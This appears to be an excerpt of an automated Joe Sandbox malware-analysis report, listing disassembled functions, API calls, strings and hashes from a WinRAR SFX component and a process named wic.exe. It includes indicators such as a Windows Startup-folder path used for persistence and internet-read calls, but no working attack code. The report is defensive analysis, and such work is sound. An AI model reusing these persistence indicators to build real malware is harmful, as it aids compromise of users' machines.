___raise_securityfailure.LIBCMT ref: 00E20EA5

Strings

x=, xrefs: 00E20EA0

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: x=
API String ID: 3761405300-2045941428
Opcode ID: dfc0066c2dd425bf329aac64861a8aeeff6305a0b66154c1a11ef78258345975
Instruction ID: 11453c955ccdca3564e1d0936dcf582637912aafd07f37c8a66b02eafc10323d
Opcode Fuzzy Hash: dfc0066c2dd425bf329aac64861a8aeeff6305a0b66154c1a11ef78258345975
Instruction Fuzzy Hash: 7B21F8B5901304AFD710CF3AF8456427BB4FB483A4F10512AE905A77A1D3F2AA89CF20

Function 00E1233E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,00E12480,?,00000000,00000000), ref: 00E12362
SetThreadPriority.KERNEL32(?,00000000), ref: 00E123A9

Part of subcall function 00E076E9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E07707

Strings

CreateThread failed, xrefs: 00E1236E

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 08b544e3eaa763c5cc39e01512fc2683d27303b3c28e20fba9147ee923a2bc57
Instruction ID: 4678370e810fcc8ab709d662f4d5a6ccc5dea9190c2b6c964cc43f2146e34ec9
Opcode Fuzzy Hash: 08b544e3eaa763c5cc39e01512fc2683d27303b3c28e20fba9147ee923a2bc57
Instruction Fuzzy Hash: 270126B27483076FD3286F64AC86FA27798EB40311F20122DF792B61C4CAA1B8C08630

Function 00E1EC9B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E1ECFC

Strings

Software\WinRAR SFX, xrefs: 00E1ECE5
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup, xrefs: 00E1ECB1, 00E1ECC8

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _wcslen
String ID: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup$Software\WinRAR SFX
API String ID: 176396367-3423262912
Opcode ID: f60261cc99542ce8f8e1cf21e05c9569ad25b2f610ae78089140234267708d09
Instruction ID: 3199068ba2efb5fc08d1ae82f03b9ad6edc7329ef76b25cb4f06050018fe4aff
Opcode Fuzzy Hash: f60261cc99542ce8f8e1cf21e05c9569ad25b2f610ae78089140234267708d09
Instruction Fuzzy Hash: 0C018472900229BEEB259B65EC0DFDB3FBDEB093D5F005051F509B50A0D6B09AC8C6E0

Function 00E2962A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 00E2D0F0: GetEnvironmentStringsW.KERNEL32 ref: 00E2D0F9
Part of subcall function 00E2D0F0: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00E2D11C
Part of subcall function 00E2D0F0: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00E2D142
Part of subcall function 00E2D0F0: _free.LIBCMT ref: 00E2D155
Part of subcall function 00E2D0F0: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00E2D164

_free.LIBCMT ref: 00E29670
_free.LIBCMT ref: 00E29677

Strings

hB, xrefs: 00E2965D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _free$ByteCharEnvironmentMultiStringsWide$Free
String ID: hB
API String ID: 400815659-709800444
Opcode ID: c2e8fab3bb2f5e633a6cd385451c4050dac7517c1d2fc88f5ba287760cf110ea
Instruction ID: a78b97ca8a56d42223a069a4652ae37a5790578dea7b4e0d429747546e927d19
Opcode Fuzzy Hash: c2e8fab3bb2f5e633a6cd385451c4050dac7517c1d2fc88f5ba287760cf110ea
Instruction Fuzzy Hash: 26E0E592A0A430469631327A3C12AAF16C54BD2B74F353326F825B71D3DE588842009A

Function 00E12303 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00E12526,?), ref: 00E12309
GetLastError.KERNEL32(?), ref: 00E12315

Part of subcall function 00E076E9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E07707

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00E1231E

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 597c5b57378bf83b0d7255a1930c858634f40f6f909b2465deaad285d072fe66
Instruction ID: 59ded0c93bcff08f50d4473f31be5ea1f429c34f15ca81070af8fa706b23c37e
Opcode Fuzzy Hash: 597c5b57378bf83b0d7255a1930c858634f40f6f909b2465deaad285d072fe66
Instruction Fuzzy Hash: 5FD02E72A0C9213BC70523387C0ECAE3C45AF62770F201708F23A722E8CAA119D086E2

Function 00E0F5BE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00E0ED75,?), ref: 00E0F5C3
FindResourceW.KERNEL32(00000000,RTL,00000005,?,00E0ED75,?), ref: 00E0F5D1

Strings

RTL, xrefs: 00E0F5CB

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 49a2e1a78e26f8f01d23743d547770b53716b4f8596949f50a3faae70e8b3532
Instruction ID: 7fb7944974d3553fce4d4e106fefd48623e35b4d825707bb8f3852016c9882b5
Opcode Fuzzy Hash: 49a2e1a78e26f8f01d23743d547770b53716b4f8596949f50a3faae70e8b3532
Instruction Fuzzy Hash: 02C012713443545AD73427726C0DB932E985B00755F051558B641FA5C0EAE5EC848A61

Analysis Process: wic.exePID: 7340, Parent PID: 4452COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.4%
Total number of Nodes:	1312
Total number of Limit Nodes:	63

Executed Functions

Function 00887900 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00867E4E,?,00000003,?,00000004,00000000), ref: 00887912
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00887922
EncodePointer.KERNEL32(00000000,?,00867E4E,?,00000003,?,00000004,00000000), ref: 0088792B
DecodePointer.KERNEL32(733E7A25,?,?,00867E4E,?,00000003,?,00000004,00000000), ref: 00887939
GetLocaleInfoEx.KERNEL32(?,00867E4E,?,00000003,?,00000004,00000000), ref: 00887959
GetLocaleInfoW.KERNEL32(00000000,00000004,?,00000003,?,00867E4E,?,00000003,?,00000004,00000000), ref: 00887970

Strings

GetLocaleInfoEx, xrefs: 0088791C
kernel32.dll, xrefs: 0088790D

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: InfoLocalePointer$AddressDecodeEncodeHandleModuleProc
String ID: GetLocaleInfoEx$kernel32.dll
API String ID: 3226634038-1547310189
Opcode ID: b81abe68ead0c33f108aeb1cba3b875c6f1b7473d5df4e9fa9a22d054037dfa8
Instruction ID: 07e51cb435811be7c865a26522026db372afcd0c5a7542988f8433ae311aef95
Opcode Fuzzy Hash: b81abe68ead0c33f108aeb1cba3b875c6f1b7473d5df4e9fa9a22d054037dfa8
Instruction Fuzzy Hash: 3D01FB3555825ABBCF126FA5EC8CCAA3F69FB497957108010FD05DA120EB35CD51ABA0

Function 008635BB Relevance: 10.6, APIs: 7, Instructions: 112
networkfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 008635DA
InternetReadFile.WININET(?,?,00000800,?), ref: 008635F1
GetTickCount.KERNEL32 ref: 008635FE
GetTickCount.KERNEL32 ref: 00863608
InternetCloseHandle.WININET ref: 0086361A
InternetCloseHandle.WININET(?), ref: 00863623
PostMessageA.USER32(00000000,00000012,00000000,00000000), ref: 0086368E

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CountInternetTick$CloseHandle$FileMessagePostRead
String ID:
API String ID: 2556584633-0
Opcode ID: 34fe85608fba47ff753ac55401b8ebf7a2309552e577f719dba85690b538b5f0
Instruction ID: 8422aead3f597589c69d6b6d62bc1d8d6f41bc900ae707134d0aa68ae0312418
Opcode Fuzzy Hash: 34fe85608fba47ff753ac55401b8ebf7a2309552e577f719dba85690b538b5f0
Instruction Fuzzy Hash: C841E372D00208ABDB10DFA8CD45BDDB7B5FF58724F158225E815BB2A1DB319E00DBA4

Function 00863400 Relevance: 9.1, APIs: 6, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 0086341C

Part of subcall function 008798B2: __EH_prolog3.LIBCMT ref: 008798B9
Part of subcall function 008798B2: BeginPaint.USER32(?,?,00000004,00876319,?,00000058,008634D2), ref: 008798E5

SendMessageA.USER32(?,00000027,?,00000000), ref: 00863450
GetSystemMetrics.USER32(0000000B), ref: 0086345E
GetSystemMetrics.USER32(0000000C), ref: 00863464
GetClientRect.USER32(?,?), ref: 00863478
DrawIcon.USER32(?,?,?,?), ref: 008634AA

Part of subcall function 00879A3C: EndPaint.USER32(?,?,96528101,?,00000000,009D4C50,000000FF,?,0087633B,?,?,00000058,008634D2), ref: 00879A6E

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: MetricsPaintSystem$BeginClientDrawH_prolog3IconIconicMessageRectSend
String ID:
API String ID: 2989630354-0
Opcode ID: be24f62c02e7fc07039530ea8f8f68cfeb953e32d5e8f962eb6f5f54d155caa2
Instruction ID: 3cb74851ea3dbc384a45a9cb1e3aae646b59001cd7905a3f4e17f6f28385f2f3
Opcode Fuzzy Hash: be24f62c02e7fc07039530ea8f8f68cfeb953e32d5e8f962eb6f5f54d155caa2
Instruction Fuzzy Hash: 3121D8726142049FC700DF78DC8AB6FB7E9FB88710F144629F999D71A1DB31E9148B82

Function 0086827B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

OutputDebugStringA.KERNEL32(IsolationAware function called after IsolationAwareCleanup,?,?,00876518,00000000,00A27AD0,00000010,00875C16,?,?,?,008758B7,00000000), ref: 0086828F
GetLastError.KERNEL32(?,?,?,00876518,00000000,00A27AD0,00000010,00875C16,?,?,?,008758B7,00000000), ref: 008682C6

Strings

IsolationAware function called after IsolationAwareCleanup, xrefs: 0086828A

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: DebugErrorLastOutputString
String ID: IsolationAware function called after IsolationAwareCleanup
API String ID: 4132100945-2690750368
Opcode ID: 2f3c06de4b29705017a5a85a1272b9b0e1d4bbd2d6f2b162464c7afe1f2c0b22
Instruction ID: 88f2d2f1c93cafe8c85309abf02f1acb1876f8f3ab9a4fd8e8079a236e33cbfd
Opcode Fuzzy Hash: 2f3c06de4b29705017a5a85a1272b9b0e1d4bbd2d6f2b162464c7afe1f2c0b22
Instruction Fuzzy Hash: 0FF0C830A14950CF4B395BA5FCAC5367264F726788B120337F90DD6361DF20CC41869A

Function 00877968 Relevance: 70.4, APIs: 35, Strings: 5, Instructions: 373
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00877972

Part of subcall function 00879951: __EH_prolog3.LIBCMT ref: 00879958
Part of subcall function 00879951: GetWindowDC.USER32(00000000,00000004,00877F08,00000000), ref: 00879984

GetDeviceCaps.GDI32(?,00000058), ref: 00877992
DeleteObject.GDI32(00000000), ref: 008779FC
DeleteObject.GDI32(00000000), ref: 00877A1A
DeleteObject.GDI32(00000000), ref: 00877A38
DeleteObject.GDI32(00000000), ref: 00877A56
DeleteObject.GDI32(00000000), ref: 00877A74
DeleteObject.GDI32(00000000), ref: 00877A92
DeleteObject.GDI32(00000000), ref: 00877AB0
DeleteObject.GDI32(00000000), ref: 00877ACE
DeleteObject.GDI32(00000000), ref: 00877AEC
DeleteObject.GDI32(00000000), ref: 00877B0A
GetTextCharsetInfo.GDI32(?,00000000,00000000), ref: 00877B42
lstrcpyA.KERNEL32(?,?), ref: 00877B92
EnumFontFamiliesA.GDI32(?,00000000,008771DD,Segoe UI), ref: 00877BB9
lstrcpyA.KERNEL32(?,Segoe UI), ref: 00877BCC
EnumFontFamiliesA.GDI32(?,00000000,008771DD,Tahoma), ref: 00877BEA
lstrcpyA.KERNEL32(?,MS Sans Serif), ref: 00877C04
CreateFontIndirectA.GDI32(?), ref: 00877C0E
CreateFontIndirectA.GDI32(?), ref: 00877C5F
CreateFontIndirectA.GDI32(?), ref: 00877C9E
CreateFontIndirectA.GDI32(?), ref: 00877CCA
CreateFontIndirectA.GDI32(?), ref: 00877CEB
GetSystemMetrics.USER32(00000048), ref: 00877D0A
lstrcpyA.KERNEL32(?,Marlett), ref: 00877D1D
CreateFontIndirectA.GDI32(?), ref: 00877D27
GetStockObject.GDI32(00000011), ref: 00877D53
GetObjectA.GDI32(00000000,0000003C,?), ref: 00877D6A
lstrcpyA.KERNEL32(?,Arial,?,?,00000000), ref: 00877DA7
CreateFontIndirectA.GDI32(?), ref: 00877DB1
CreateFontIndirectA.GDI32(?), ref: 00877DCA
GetStockObject.GDI32(00000011), ref: 00877DDE
GetObjectA.GDI32(?,0000003C,?), ref: 00877DF3
CreateFontIndirectA.GDI32(?), ref: 00877E01
CreateFontIndirectA.GDI32(?), ref: 00877E22

Part of subcall function 008782BE: __EH_prolog3_GS.LIBCMT ref: 008782C5
Part of subcall function 008782BE: GetTextMetricsA.GDI32(?,00FF0000), ref: 008782FA
Part of subcall function 008782BE: GetTextMetricsA.GDI32(?,00FF0000), ref: 0087833B

Part of subcall function 008790DA: __CxxThrowException@8.LIBVCRUNTIME ref: 008790EE

Strings

Tahoma, xrefs: 00877BD8, 00877BF7
Segoe UI, xrefs: 00877BA7, 00877BC3
Marlett, xrefs: 00877D17
Arial, xrefs: 00877D97
MS Sans Serif, xrefs: 00877BFE

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Object$Font$CreateDeleteIndirect$lstrcpy$MetricsText$EnumFamiliesH_prolog3_Stock$CapsCharsetDeviceException@8H_prolog3InfoSystemThrowWindow
String ID: Arial$MS Sans Serif$Marlett$Segoe UI$Tahoma
API String ID: 3209990573-1395034203
Opcode ID: 642c2e1573212e97c86afcbb35f7a82c02c08cbf49b88aa3b50a2fae54c4348a
Instruction ID: cfc17e3dbb09d568c191dc835044a59c9d7b3b6ed7bc91a55899d3c784e3beb4
Opcode Fuzzy Hash: 642c2e1573212e97c86afcbb35f7a82c02c08cbf49b88aa3b50a2fae54c4348a
Instruction Fuzzy Hash: 95E17C71904249ABDB259FA4DC88BEEBBB8FF54301F048499E00AE7295DB74DA44CF61

Function 00877EA2 Relevance: 64.8, APIs: 43, Instructions: 295
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00877EA9
GetSysColor.USER32(00000016), ref: 00877EB2
GetSysColor.USER32(0000000F), ref: 00877EC5
GetSysColor.USER32(00000015), ref: 00877EDC
GetSysColor.USER32(0000000F), ref: 00877EE8
GetDeviceCaps.GDI32(?,0000000C), ref: 00877F10
GetSysColor.USER32(0000000F), ref: 00877F1E
GetSysColor.USER32(00000010), ref: 00877F2C
GetSysColor.USER32(00000015), ref: 00877F3A
GetSysColor.USER32(00000016), ref: 00877F48
GetSysColor.USER32(00000014), ref: 00877F56
GetSysColor.USER32(00000012), ref: 00877F64
GetSysColor.USER32(00000011), ref: 00877F72
GetSysColor.USER32(00000006), ref: 00877F7D
GetSysColor.USER32(0000000D), ref: 00877F88
GetSysColor.USER32(0000000E), ref: 00877F93
GetSysColor.USER32(00000005), ref: 00877F9E
GetSysColor.USER32(00000008), ref: 00877FAC
GetSysColor.USER32(00000009), ref: 00877FB7
GetSysColor.USER32(00000007), ref: 00877FC2
GetSysColor.USER32(00000002), ref: 00877FCD
GetSysColor.USER32(00000003), ref: 00877FD8
GetSysColor.USER32(0000001B), ref: 00877FE6
GetSysColor.USER32(0000001C), ref: 00877FF4
GetSysColor.USER32(0000000A), ref: 00878002
GetSysColor.USER32(0000000B), ref: 00878010
GetSysColor.USER32(00000013), ref: 0087801E
GetSysColor.USER32(0000001A), ref: 0087803F
GetSysColorBrush.USER32(00000010), ref: 00878058
GetSysColorBrush.USER32(00000014), ref: 0087806B
GetSysColorBrush.USER32(00000005), ref: 0087807E
CreateSolidBrush.GDI32(?), ref: 0087809F
CreateSolidBrush.GDI32(?), ref: 008780BD
CreateSolidBrush.GDI32(?), ref: 008780DB
CreateSolidBrush.GDI32(?), ref: 008780FC
CreateSolidBrush.GDI32(?), ref: 0087811A
CreateSolidBrush.GDI32(?), ref: 00878138
CreateSolidBrush.GDI32(?), ref: 00878156
CreatePen.GDI32(00000000,00000001,00000000), ref: 0087817A
CreatePen.GDI32(00000000,00000001,00000000), ref: 0087819E
CreatePen.GDI32(00000000,00000001,00000000), ref: 008781C2
CreateSolidBrush.GDI32(?), ref: 00878240
CreatePatternBrush.GDI32(00000000), ref: 0087827E

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Color$BrushCreate$Solid$CapsDeviceH_prolog3Pattern
String ID:
API String ID: 3832706086-0
Opcode ID: 28a4cbf278428e08c0e685fc423467c2a936d30f5b2dd61a75c2d87d4d8f1e55
Instruction ID: 38d4ceaf07bb3d4d2c8e931954c307ef62c693cfe57e408cbd9d067869dfe7f8
Opcode Fuzzy Hash: 28a4cbf278428e08c0e685fc423467c2a936d30f5b2dd61a75c2d87d4d8f1e55
Instruction Fuzzy Hash: 5EC190B1A14A42AFDB05AFB5C84D7ADBA60FF04701F04815DF20ADB695CB36EA10DF91

Function 0087F8B6 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 186
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0088562B: GetWindowLongA.USER32(00000000,000000F0), ref: 00885638

GetParent.USER32(00883AD7), ref: 0087F8F2
SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 0087F917
GetWindowRect.USER32(00883AD7,00000000), ref: 0087F93C
GetWindowLongA.USER32(00000000,000000F0), ref: 0087F96B
MonitorFromWindow.USER32(00000000,00000001), ref: 0087F9A1
GetMonitorInfoA.USER32(00000000), ref: 0087F9A8
